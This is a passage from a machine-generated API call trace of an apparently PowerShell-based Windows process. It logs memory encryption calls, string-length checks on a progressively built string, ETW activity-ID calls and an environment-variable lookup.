Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.320] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgR梙") returned 0x18 [0127.320] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.320] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x5f2\x245f\x46f8\xe6b\xf9e5\xbf1a\xb501\x1480") returned 0x18 [0127.320] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x5f2\x245f\x46f8\xe6b\xf9e5\xbf1a\xb501\x1480") returned 0x18 [0127.320] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.320] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRR") returned 0x18 [0127.320] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.320] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020") returned 0x18 [0127.320] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020") returned 0x18 [0127.320] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020") returned 0x18 [0127.321] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020") returned 0x20 [0127.321] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.321] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRd粺ɷ⤗珋郳") returned 0x20 [0127.321] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.321] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\x2254\x6c87\x161\x104b\x7c7c\xc4b7\xb1ec\x1e31") returned 0x20 [0127.321] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\x2254\x6c87\x161\x104b\x7c7c\xc4b7\xb1ec\x1e31") returned 0x20 [0127.321] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.321] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqɷ⤗珋郳") returned 0x20 [0127.321] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.321] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xa252\x1485\x4de6\xffc6\xab1e\xad8d\xf920\xf539") returned 0x20 [0127.321] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xa252\x1485\x4de6\xffc6\xab1e\xad8d\xf920\xf539") returned 0x20 [0127.321] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.321] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDɷ⤗珋郳") returned 0x20 [0127.321] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.321] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\x4185\x56f0\x123\x8d06\x6781\x3f4f\x1312\xab44") returned 0x20 [0127.321] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\x4185\x56f0\x123\x8d06\x6781\x3f4f\x1312\xab44") returned 0x20 [0127.321] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.321] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDR⤗珋郳") returned 0x20 [0127.321] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.322] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xb6c1\x22e\xc2e0\x9add\xdf7\xe19c\x1f04\x41d0") returned 0x20 [0127.322] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xb6c1\x22e\xc2e0\x9add\xdf7\xe19c\x1f04\x41d0") returned 0x20 [0127.322] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.322] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRU珋郳") returned 0x20 [0127.322] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.322] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xc29c\xde8e\x6154\xd391\xae2e\xf3f9\x7598\x38e9") returned 0x20 [0127.322] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xc29c\xde8e\x6154\xd391\xae2e\xf3f9\x7598\x38e9") returned 0x20 [0127.322] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.322] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRUK郳") returned 0x20 [0127.322] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.322] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xb136\xe124\xfb11\xd073\xac5\xde88\xffc\xff75") returned 0x20 [0127.322] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xb136\xe124\xfb11\xd073\xac5\xde88\xffc\xff75") returned 0x20 [0127.322] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.322] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRUKg郳") returned 0x20 [0127.322] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.322] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\x7a5b\x4adf\x5d1b\xb467\x9fc8\xc71c\x494e\xdef6") returned 0x20 [0127.322] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\x7a5b\x4adf\x5d1b\xb467\x9fc8\xc71c\x494e\xdef6") returned 0x20 [0127.322] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.323] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRUKgB") returned 0x20 [0127.323] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.323] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82") returned 0x20 [0127.323] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82") returned 0x20 [0127.323] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82") returned 0x20 [0127.323] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\x65\x72\x53\x68\x65\x6c\x6c\x5c") returned 0x28 [0127.323] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.323] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRUKgBI裫틏욮೔嚦﬚ኳ") returned 0x28 [0127.323] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.323] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\x9874\x2c77\x393d\xa321\x2f53\x56ee\xdc7b\xa8d2") returned 0x28 [0127.323] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\x9874\x2c77\x393d\xa321\x2f53\x56ee\xdc7b\xa8d2") returned 0x28 [0127.323] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.323] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRUKgBI7틏욮೔嚦﬚ኳ") returned 0x28 [0127.323] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.323] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\x9801\x7761\x5690\x114f\x456b\x3c59\xfa6c\xf70f") returned 0x28 [0127.323] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\x9801\x7761\x5690\x114f\x456b\x3c59\xfa6c\xf70f") returned 0x28 [0127.323] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.324] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRUKgBI76욮೔嚦﬚ኳ") returned 0x28 [0127.324] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.324] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\x2ad5\x7922\x22fb\x2795\xa193\x6e4f\x513d\xe95d") returned 0x28 [0127.324] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\x2ad5\x7922\x22fb\x2795\xa193\x6e4f\x513d\xe95d") returned 0x28 [0127.324] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.324] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRUKgBI76S೔嚦﬚ኳ") returned 0x28 [0127.324] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.324] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\xab6e\x56ff\x5192\x3ed5\xadc1\xa108\x981c\x2478") returned 0x28 [0127.324] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\xab6e\x56ff\x5192\x3ed5\xadc1\xa108\x981c\x2478") returned 0x28 [0127.324] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.324] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRUKgBI76SU嚦﬚ኳ") returned 0x28 [0127.324] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.324] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\x3172\xbcc5\xa2d8\xbde2\x2ca2\xaf35\x75dc\x7e50") returned 0x28 [0127.324] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\x3172\xbcc5\xa2d8\xbde2\x2ca2\xaf35\x75dc\x7e50") returned 0x28 [0127.324] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.324] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRUKgBI76SU3﬚ኳ") returned 0x28 [0127.324] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.325] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\x5396\x2d00\xdc8e\x85c\x3257\x4b0\x9bfa\x9145") returned 0x28 [0127.325] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\x5396\x2d00\xdc8e\x85c\x3257\x4b0\x9bfa\x9145") returned 0x28 [0127.325] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.325] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRUKgBI76SU3Hኳ") returned 0x28 [0127.325] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.325] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\x128c\x9ec7\xd3ea\x85cc\x3126\x9bd4\x8f23\x5ef6") returned 0x28 [0127.325] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\x128c\x9ec7\xd3ea\x85cc\x3126\x9bd4\x8f23\x5ef6") returned 0x28 [0127.325] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.325] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRUKgBI76SU3HC") returned 0x28 [0127.325] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.325] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\xef55\x16d1\x949b\xa847\x25ae\xd9e6\xecea\x69da") returned 0x28 [0127.325] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\xef55\x16d1\x949b\xa847\x25ae\xd9e6\xecea\x69da") returned 0x28 [0127.325] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\xef55\x16d1\x949b\xa847\x25ae\xd9e6\xecea\x69da") returned 0x28 [0127.325] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\xef55\x16d1\x949b\xa847\x25ae\xd9e6\xecea\x69da\x4f\x77\x51\x51\x36\x33\x58\x50") returned 0x30 [0127.325] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0127.325] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRUKgBI76SU3HCq㞀牠衭笆駗骟") returned 0x30 [0127.325] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0127.325] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\xef55\x16d1\x949b\xa847\x25ae\xd9e6\xecea\x69da\x1f79\x8981\xdae2\xa088\xf7bb\xbf69\x1750\x3cec") returned 0x30 [0127.326] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\xef55\x16d1\x949b\xa847\x25ae\xd9e6\xecea\x69da\x1f79\x8981\xdae2\xa088\xf7bb\xbf69\x1750\x3cec") returned 0x30 [0127.326] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0127.326] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRUKgBI76SU3HCqE牠衭笆駗骟") returned 0x30 [0127.326] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0127.326] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\xef55\x16d1\x949b\xa847\x25ae\xd9e6\xecea\x69da\x1373\x4874\x3ca1\xadbc\xb6f4\x34dd\xf112\x6b34") returned 0x30 [0127.326] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\xef55\x16d1\x949b\xa847\x25ae\xd9e6\xecea\x69da\x1373\x4874\x3ca1\xadbc\xb6f4\x34dd\xf112\x6b34") returned 0x30 [0127.326] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0127.326] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRUKgBI76SU3HCqEk衭笆駗骟") returned 0x30 [0127.326] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0127.326] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\xef55\x16d1\x949b\xa847\x25ae\xd9e6\xecea\x69da\xa5bc\x263a\xb8f3\xa216\x640b\x9787\xc205\xbe6d") returned 0x30 [0127.326] SysStringLen (param_1="\x2299\xc084\xe517\xc7b3\x36e4\x2226\xaf0\x5c09\x5561\xa0b\x1709\x8560\xe71b\xfebf\x3d9a\x584a\x2ca2\x7c90\x928e\x371\xedd7\x675e\xab8d\xa020\xcb3b\x2632\xe36a\x723a\xce4a\x8286\x8479\x7f82\xef55\x16d1\x949b\xa847\x25ae\xd9e6\xecea\x69da\xa5bc\x263a\xb8f3\xa216\x640b\x9787\xc205\xbe6d") returned 0x30 [0127.326] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0127.326] SysStringLen (param_1="Tk/sDPTIDOrjPO0D02uNdgRRdqDRUKgBI76SU3HCqEk=笆駗骟") returned 0x30 [0127.326] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0127.326] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.326] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.327] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.327] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae58c, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0127.327] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x17, 